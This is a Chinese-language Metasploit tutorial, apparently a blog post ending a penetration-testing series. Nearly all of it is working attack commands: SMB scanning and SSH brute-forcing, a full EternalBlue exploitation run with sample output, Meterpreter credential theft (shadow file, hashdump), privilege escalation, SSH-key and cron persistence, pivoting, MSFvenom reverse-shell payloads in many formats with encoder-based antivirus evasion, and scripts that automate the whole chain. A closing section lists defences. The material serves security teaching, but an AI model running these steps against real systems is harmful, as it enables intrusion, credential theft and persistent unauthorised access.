Metasploit完整实战教程,模块架构解析、EternalBlue利用全过程、Meterpreter与MSFvenom
Metasploit Framework 是全球使用最广泛的渗透测试框架,由 HD Moore 于 2003 年创建,如今由 Rapid7 公司维护。它将渗透测试的各个环节——信息收集、漏洞利用、后渗透、报告生成——整合在一个统一的平台中,极大地提高了渗透测试的效率。本文将从 Metasploit 的架构设计讲起,深入探讨其核心模块、实战利用流程、Meterpreter 会话管理以及自动化攻击技术,带你完整走通一次从扫描到 getshell 的渗透测试流程。
Metasploit 架构概览
Metasploit Framework 采用模块化架构,各组件各司其职:
核心模块类型
Payload 类型详解
# Payload 分为三大类: # 1. Singles (单一载荷) — 独立运行,体积小# 命名格式: <platform>/[arch]/<single># 例如: linux/x64/shell_reverse_tcp # 2. Stagers (传输器) — 建立连接通道,下载 Stage# 命名格式: 带 '/' 分隔# 例如: windows/x64/meterpreter/reverse_tcp# ^stager # 3. Stages (传输阶段) — 通过 Stager 下载的大型载荷# 如 Meterpreter、VNC 注入等 # 区分方法:# shell_reverse_tcp → Single (无 '/' 分隔)# shell/reverse_tcp → Staged (有 '/' 分隔 stager)# meterpreter/reverse_tcp → Staged Meterpretermsfconsole 基本使用
启动与核心命令
# 启动 Metasploit(首次启动需要初始化数据库)sudo msfdb initmsfconsole # 检查数据库连接msf6 > db_status # 核心导航命令msf6 > help # 查看所有命令msf6 > search [keyword] # 搜索模块msf6 > use [module_path] # 使用模块msf6 > info # 查看模块详情msf6 > show options # 查看配置选项msf6 > set [option] [value] # 设置参数msf6 > setg [option] [value] # 设置全局参数msf6 > unset [option] # 取消设置msf6 > run / exploit # 执行模块msf6 > back # 返回主界面msf6 > exit # 退出 # 工作空间管理(隔离不同项目)msf6 > workspace # 查看当前工作空间msf6 > workspace -a project1 # 创建新工作空间msf6 > workspace project1 # 切换工作空间msf6 > workspace -d project1 # 删除工作空间模块搜索技巧
# 基本搜索msf6 > search eternalbluemsf6 > search apachemsf6 > search type:exploit platform:linux # 高级搜索过滤msf6 > search type:exploit name:smbmsf6 > search type:auxiliary name:scannermsf6 > search cve:2021-44228 # 按CVE搜索msf6 > search platform:linux type:exploit rank:excellentmsf6 > search author:hdm # 搜索结果字段说明# Name: 模块名称# Disclosure Date: 漏洞公开日期# Rank: 可靠性等级 (excellent > great > good > normal > average > low)# Check: 是否支持 check 命令(非破坏性检测) # 在 Exploit-DB 中搜索(离线)searchsploit eternalbluesearchsploit -m 42315 # 复制 exploit 到当前目录信息收集模块实战
Metasploit 的 Auxiliary 模块包含大量信息收集功能。
端口扫描
# TCP 端口扫描msf6 > use auxiliary/scanner/portscan/tcpmsf6 auxiliary(tcp) > set RHOSTS 192.168.1.0/24msf6 auxiliary(tcp) > set PORTS 1-1000msf6 auxiliary(tcp) > set THREADS 50msf6 auxiliary(tcp) > run # SYN 扫描msf6 > use auxiliary/scanner/portscan/synmsf6 auxiliary(syn) > set RHOSTS 192.168.1.100msf6 auxiliary(syn) > set PORTS 1-65535msf6 auxiliary(syn) > set THREADS 100msf6 auxiliary(syn) > run服务版本探测
# SMB 版本探测msf6 > use auxiliary/scanner/smb/smb_versionmsf6 auxiliary(smb_version) > set RHOSTS 192.168.1.0/24msf6 auxiliary(smb_version) > run # SSH 版本探测msf6 > use auxiliary/scanner/ssh/ssh_versionmsf6 auxiliary(ssh_version) > set RHOSTS 192.168.1.0/24msf6 auxiliary(ssh_version) > run # FTP 版本探测msf6 > use auxiliary/scanner/ftp/ftp_versionmsf6 auxiliary(ftp_version) > set RHOSTS 192.168.1.0/24msf6 auxiliary(ftp_version) > run # HTTP 服务器信息msf6 > use auxiliary/scanner/http/http_versionmsf6 auxiliary(http_version) > set RHOSTS 192.168.1.0/24msf6 auxiliary(http_version) > run # 查看数据库中收集到的信息msf6 > hosts # 查看发现的主机msf6 > services # 查看发现的服务msf6 > services -p 445 # 过滤特定端口msf6 > vulns # 查看发现的漏洞服务枚举
# SMB 共享枚举msf6 > use auxiliary/scanner/smb/smb_enumsharesmsf6 auxiliary(smb_enumshares) > set RHOSTS 192.168.1.100msf6 auxiliary(smb_enumshares) > run # SMB 用户枚举msf6 > use auxiliary/scanner/smb/smb_enumusersmsf6 auxiliary(smb_enumusers) > set RHOSTS 192.168.1.100msf6 auxiliary(smb_enumusers) > run # FTP 匿名登录检测msf6 > use auxiliary/scanner/ftp/anonymousmsf6 auxiliary(anonymous) > set RHOSTS 192.168.1.0/24msf6 auxiliary(anonymous) > run # SNMP 枚举msf6 > use auxiliary/scanner/snmp/snmp_enummsf6 auxiliary(snmp_enum) > set RHOSTS 192.168.1.100msf6 auxiliary(snmp_enum) > run # HTTP 目录扫描msf6 > use auxiliary/scanner/http/dir_scannermsf6 auxiliary(dir_scanner) > set RHOSTS 192.168.1.100msf6 auxiliary(dir_scanner) > run漏洞检测
# MS17-010 (EternalBlue) 漏洞检测msf6 > use auxiliary/scanner/smb/smb_ms17_010msf6 auxiliary(smb_ms17_010) > set RHOSTS 192.168.1.0/24msf6 auxiliary(smb_ms17_010) > run # Shellshock 漏洞检测msf6 > use auxiliary/scanner/http/apache_mod_cgi_bash_envmsf6 auxiliary(apache_mod_cgi_bash_env) > set RHOSTS 192.168.1.100msf6 auxiliary(apache_mod_cgi_bash_env) > set TARGETURI /cgi-bin/msf6 auxiliary(apache_mod_cgi_bash_env) > run # SSH 暴力破解msf6 > use auxiliary/scanner/ssh/ssh_loginmsf6 auxiliary(ssh_login) > set RHOSTS 192.168.1.100msf6 auxiliary(ssh_login) > set USERNAME rootmsf6 auxiliary(ssh_login) > set PASS_FILE /usr/share/wordlists/rockyou.txtmsf6 auxiliary(ssh_login) > set STOP_ON_SUCCESS truemsf6 auxiliary(ssh_login) > set THREADS 10msf6 auxiliary(ssh_login) > run漏洞利用实战 — MS17-010 (EternalBlue) 完整流程
EternalBlue(永恒之蓝)是 2017 年被 Shadow Brokers 泄露的 NSA 漏洞利用工具,利用 Windows SMB 协议漏洞实现远程代码执行。以下是使用 Metasploit 的完整利用过程。
步骤一:目标发现与漏洞确认
# 1. 扫描目标网段,发现开放 445 端口的主机msf6 > db_nmap -sS -sV -p 445 192.168.1.0/24 # 2. 确认 MS17-010 漏洞msf6 > use auxiliary/scanner/smb/smb_ms17_010msf6 auxiliary(smb_ms17_010) > set RHOSTS 192.168.1.100msf6 auxiliary(smb_ms17_010) > run # [+] 192.168.1.100:445 - Host is likely VULNERABLE to MS17-010!步骤二:配置并执行漏洞利用
# 3. 使用 EternalBlue 利用模块msf6 > use exploit/windows/smb/ms17_010_eternalblue # 4. 查看模块信息msf6 exploit(ms17_010_eternalblue) > info # 5. 查看并配置选项msf6 exploit(ms17_010_eternalblue) > show options # 6. 设置目标 IPmsf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.100 # 7. 设置攻击载荷(Meterpreter)msf6 exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp # 8. 设置回连地址msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.1.50msf6 exploit(ms17_010_eternalblue) > set LPORT 4444 # 9. 可选:使用 check 命令验证(非破坏性)msf6 exploit(ms17_010_eternalblue) > check # 10. 执行攻击msf6 exploit(ms17_010_eternalblue) > exploit # [*] Started reverse TCP handler on 192.168.1.50:4444# [*] Sending exploit packet...# [*] Sending stage (200774 bytes) to 192.168.1.100# [*] Meterpreter session 1 opened# meterpreter >Linux 目标利用示例(SambaCry)
# 利用 Samba is_known_pipename 漏洞msf6 > use exploit/linux/samba/is_known_pipenamemsf6 exploit(is_known_pipename) > set RHOSTS 192.168.1.100msf6 exploit(is_known_pipename) > set PAYLOAD linux/x64/shell_reverse_tcpmsf6 exploit(is_known_pipename) > set LHOST 192.168.1.50msf6 exploit(is_known_pipename) > set TARGET 3msf6 exploit(is_known_pipename) > exploitMeterpreter 会话管理与常用命令
Meterpreter 是 Metasploit 最强大的 Payload,运行在内存中,提供丰富的后渗透功能。
基本系统命令
# 系统信息meterpreter > sysinfo # 系统信息meterpreter > getuid # 当前用户meterpreter > getpid # 当前进程IDmeterpreter > ps # 列出进程meterpreter > shell # 进入系统 shellmeterpreter > exit # 退出 shell 回到 meterpreter # 文件操作meterpreter > pwd # 当前目录meterpreter > ls # 列出文件meterpreter > cd /tmp # 切换目录meterpreter > cat /etc/passwd # 读取文件meterpreter > download /etc/shadow /tmp/shadow # 下载文件meterpreter > upload /tmp/tool.sh /tmp/ # 上传文件meterpreter > edit /tmp/file.txt # 编辑文件meterpreter > mkdir /tmp/test # 创建目录meterpreter > rm /tmp/test.txt # 删除文件 # 网络信息meterpreter > ipconfig / ifconfig # 网络接口meterpreter > netstat # 网络连接meterpreter > route # 路由表meterpreter > arp # ARP 表meterpreter > portfwd add -l 8080 -p 80 -r 10.10.10.20 # 端口转发权限与提权
# 检查权限meterpreter > getuidmeterpreter > getsystem # 尝试自动提权 # 使用本地提权模块meterpreter > background # 将会话放到后台 msf6 > use post/multi/recon/local_exploit_suggestermsf6 post(local_exploit_suggester) > set SESSION 1msf6 post(local_exploit_suggester) > run # 根据建议使用具体的提权模块msf6 > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexecmsf6 exploit(pwnkit) > set SESSION 1msf6 exploit(pwnkit) > set LHOST 192.168.1.50msf6 exploit(pwnkit) > exploit会话管理
# 后台化当前会话meterpreter > background# 或按 Ctrl+Z # 查看所有会话msf6 > sessionsmsf6 > sessions -l # 列出所有会话 # 进入指定会话msf6 > sessions -i 1 # 进入会话1 # 在会话上运行单个命令msf6 > sessions -C "sysinfo" -i 1 # 升级 Shell 到 Meterpretermsf6 > sessions -u 1 # 将普通 shell 升级为 meterpreter # 结束会话msf6 > sessions -k 1 # 终止会话1msf6 > sessions -K # 终止所有会话 # 多会话管理msf6 > sessions -l# Active sessions# ===============# Id Type Information Connection# -- ---- ----------- ----------# 1 meterpreter x64/linux root @ target1 192.168.1.50:4444 -> 192.168.1.100:41832# 2 shell x64/linux 192.168.1.50:4445 -> 192.168.1.101:39211后渗透模块
Metasploit 的 Post 模块提供了丰富的后渗透功能。
信息收集
# 收集系统信息msf6 > use post/linux/gather/enum_systemmsf6 post(enum_system) > set SESSION 1msf6 post(enum_system) > run # 收集网络信息msf6 > use post/linux/gather/enum_networkmsf6 post(enum_network) > set SESSION 1msf6 post(enum_network) > run # 收集用户和密码哈希msf6 > use post/linux/gather/hashdumpmsf6 post(hashdump) > set SESSION 1msf6 post(hashdump) > run # 查找敏感文件msf6 > use post/multi/gather/find_java_unsignedmsf6 > use post/linux/gather/enum_configsmsf6 post(enum_configs) > set SESSION 1msf6 post(enum_configs) > run # 收集 SSH 凭据msf6 > use post/multi/gather/ssh_credsmsf6 post(ssh_creds) > set SESSION 1msf6 post(ssh_creds) > run # 数据库凭据收集msf6 > use post/linux/gather/enum_pskmsf6 > use post/multi/gather/filezilla_client_cred提权模块
# 本地提权建议msf6 > use post/multi/recon/local_exploit_suggestermsf6 post(local_exploit_suggester) > set SESSION 1msf6 post(local_exploit_suggester) > set SHOWDESCRIPTION truemsf6 post(local_exploit_suggester) > run # 常见 Linux 提权模块msf6 > use exploit/linux/local/cve_2022_0847_dirtypipemsf6 > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexecmsf6 > use exploit/linux/local/sudo_baron_sameditmsf6 > use exploit/linux/local/overlayfs_priv_esc持久化模块
# SSH 密钥持久化msf6 > use post/linux/manage/sshkey_persistencemsf6 post(sshkey_persistence) > set SESSION 1msf6 post(sshkey_persistence) > set USERNAME rootmsf6 post(sshkey_persistence) > run # Cron 持久化msf6 > use exploit/linux/local/cron_persistencemsf6 exploit(cron_persistence) > set SESSION 1msf6 exploit(cron_persistence) > set LHOST 192.168.1.50msf6 exploit(cron_persistence) > exploit # 服务持久化msf6 > use exploit/linux/local/service_persistencemsf6 exploit(service_persistence) > set SESSION 1msf6 exploit(service_persistence) > set PAYLOAD linux/x64/meterpreter/reverse_tcpmsf6 exploit(service_persistence) > set LHOST 192.168.1.50msf6 exploit(service_persistence) > exploit内网路由与跳板
# 添加路由(通过已控主机访问内网)meterpreter > run autoroute -s 10.10.10.0/24 # 或在 msf 中手动添加msf6 > route add 10.10.10.0/24 1 # 通过 session 1 # 查看路由表msf6 > route print # 设置 SOCKS 代理msf6 > use auxiliary/server/socks_proxymsf6 auxiliary(socks_proxy) > set SRVPORT 1080msf6 auxiliary(socks_proxy) > set VERSION 5msf6 auxiliary(socks_proxy) > run -j # 现在可以通过代理扫描内网# 配置 proxychains 使用 socks5 127.0.0.1 1080# proxychains nmap -sT -Pn 10.10.10.0/24 # 通过跳板扫描内网msf6 > use auxiliary/scanner/portscan/tcpmsf6 auxiliary(tcp) > set RHOSTS 10.10.10.0/24msf6 auxiliary(tcp) > set PORTS 22,80,443,445,3389msf6 auxiliary(tcp) > set THREADS 20msf6 auxiliary(tcp) > runMSFvenom — Payload 生成器
MSFvenom 是 Metasploit 的独立 Payload 生成工具,可以创建各种格式的攻击载荷。
# 查看所有可用 Payloadmsfvenom -l payloads # 查看所有可用编码器msfvenom -l encoders # 查看所有输出格式msfvenom -l formats # === Linux Payload === # Linux 反弹 Shell (ELF)msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf # Linux Meterpreter (ELF)msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o meterpreter.elf # === Web Payload === # PHP 反弹 Shellmsfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php # Python 反弹 Shellmsfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.py # JSP 反弹 Shellmsfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.jsp # WAR 包(用于 Tomcat)msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f war -o shell.war # ASP 反弹 Shellmsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f asp -o shell.asp # === Windows Payload === # Windows Meterpreter (EXE)msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe # Windows Shellcode (用于缓冲区溢出)msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f c # === 编码绕过 === # 使用 shikata_ga_nai 编码(多次迭代)msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f elf -o encoded_shell.elf # 多重编码msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 3 -e x86/alpha_mixed -i 2 -f exe -o multi_encoded.exe # 排除坏字符msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -b "\x00\x0a\x0d" -f elf -o clean_shell.elf在目标上执行 Payload
# 攻击机设置监听msfconsole -qmsf6 > use exploit/multi/handlermsf6 exploit(handler) > set PAYLOAD linux/x64/meterpreter/reverse_tcpmsf6 exploit(handler) > set LHOST 0.0.0.0msf6 exploit(handler) > set LPORT 4444msf6 exploit(handler) > exploit -j # -j 后台运行 # 目标机执行 Payloadchmod +x meterpreter.elf./meterpreter.elf # 攻击机收到连接# [*] Meterpreter session 1 openedmsf6 > sessions -i 1自动化攻击 — Resource Script
Resource Script 是 Metasploit 的自动化脚本,可以将一系列命令保存为脚本文件自动执行。
创建 Resource Script
# 创建扫描脚本 scan.rccat > scan.rc << 'EOF'use auxiliary/scanner/smb/smb_ms17_010set RHOSTS 192.168.1.0/24set THREADS 50run use auxiliary/scanner/smb/smb_versionset RHOSTS 192.168.1.0/24set THREADS 50run use auxiliary/scanner/ssh/ssh_versionset RHOSTS 192.168.1.0/24set THREADS 50runEOF # 执行扫描脚本msfconsole -r scan.rc自动化利用脚本
# 创建利用脚本 exploit.rccat > exploit.rc << 'EOF'use exploit/windows/smb/ms17_010_eternalblueset PAYLOAD windows/x64/meterpreter/reverse_tcpset RHOSTS 192.168.1.100set LHOST 192.168.1.50set LPORT 4444exploit -j -z # 等待会话建立后自动执行后渗透use post/multi/recon/local_exploit_suggesterset SESSION 1runEOF # 执行msfconsole -r exploit.rc自动化后渗透脚本
# 创建后渗透脚本 post.rccat > post.rc << 'EOF'# 系统信息收集use post/linux/gather/enum_systemset SESSION 1run # 网络信息use post/linux/gather/enum_networkset SESSION 1run # 密码哈希use post/linux/gather/hashdumpset SESSION 1run # 配置文件use post/linux/gather/enum_configsset SESSION 1runEOF msfconsole -r post.rc在 msfconsole 中录制和回放
# 录制操作(保存为 Resource Script)msf6 > makerc /tmp/my_session.rc # 在 msfconsole 中加载 Resource Scriptmsf6 > resource /tmp/my_session.rc # 启动时加载msfconsole -r /tmp/my_session.rc实战综合案例:完整渗透流程
以下是一个完整的渗透测试流程示例:
# ====== 阶段一:信息收集 ======msfconsole -q # 初始化工作空间msf6 > workspace -a pentest_targetmsf6 > db_nmap -sS -sV -sC -O -p- -T4 192.168.1.100 # 查看扫描结果msf6 > hostsmsf6 > servicesmsf6 > services -p 22,80,445 -u # ====== 阶段二:漏洞发现 ======msf6 > use auxiliary/scanner/smb/smb_ms17_010msf6 auxiliary(smb_ms17_010) > set RHOSTS 192.168.1.100msf6 auxiliary(smb_ms17_010) > runmsf6 > vulns # ====== 阶段三:漏洞利用 ======msf6 > use exploit/windows/smb/ms17_010_eternalbluemsf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.100msf6 exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcpmsf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.1.50msf6 exploit(ms17_010_eternalblue) > exploit # ====== 阶段四:后渗透 ======meterpreter > sysinfometerpreter > getuidmeterpreter > hashdumpmeterpreter > run autoroute -s 10.10.10.0/24 # 上传工具meterpreter > upload /opt/linpeas.sh /tmp/meterpreter > shellchmod +x /tmp/linpeas.sh/tmp/linpeas.sh # ====== 阶段五:横向移动 ======meterpreter > backgroundmsf6 > use auxiliary/scanner/portscan/tcpmsf6 auxiliary(tcp) > set RHOSTS 10.10.10.0/24msf6 auxiliary(tcp) > set PORTS 22,80,445msf6 auxiliary(tcp) > run # ====== 阶段六:数据导出 ======msf6 > hosts -o /tmp/hosts.csvmsf6 > services -o /tmp/services.csvmsf6 > vulns -o /tmp/vulns.csvmsf6 > creds -o /tmp/creds.csv安全建议与防御措施
- 及时打补丁:Metasploit 利用的多是已知漏洞,及时更新系统和软件可以防御绝大多数攻击
- 网络分段:内网分段隔离,限制横向移动的可能性
- 入侵检测:部署 Snort/Suricata 等 IDS,检测 Metasploit 流量特征
- 端点防护:使用 EDR 工具检测 Meterpreter 等内存注入行为
- 最小开放原则:关闭不必要的服务和端口,减少攻击面
- 深度防御:多层安全控制,即使一层被突破也有其他防线
- 日志监控:集中日志管理,设置告警规则,及时发现异常行为
- 红蓝对抗:定期进行渗透测试和红队演练,持续验证安全防护的有效性
总结
本文完整展示了 Metasploit Framework 从架构设计到实战利用的全过程。我们从 Metasploit 的模块体系讲起,深入学习了 msfconsole 的使用方法、信息收集模块、漏洞利用流程(以 EternalBlue 为例)、Meterpreter 会话管理、后渗透模块、MSFvenom Payload 生成以及 Resource Script 自动化攻击。Metasploit 是渗透测试的"瑞士军刀",掌握它能够极大提升渗透测试的效率和深度。然而工具只是手段,理解漏洞原理、攻击链逻辑和防御思路才是安全从业者的核心竞争力。本系列渗透测试篇至此告一段落,希望这六篇文章能够帮助你建立起完整的渗透测试知识体系,在合法授权的范围内不断磨练技术、提升能力。
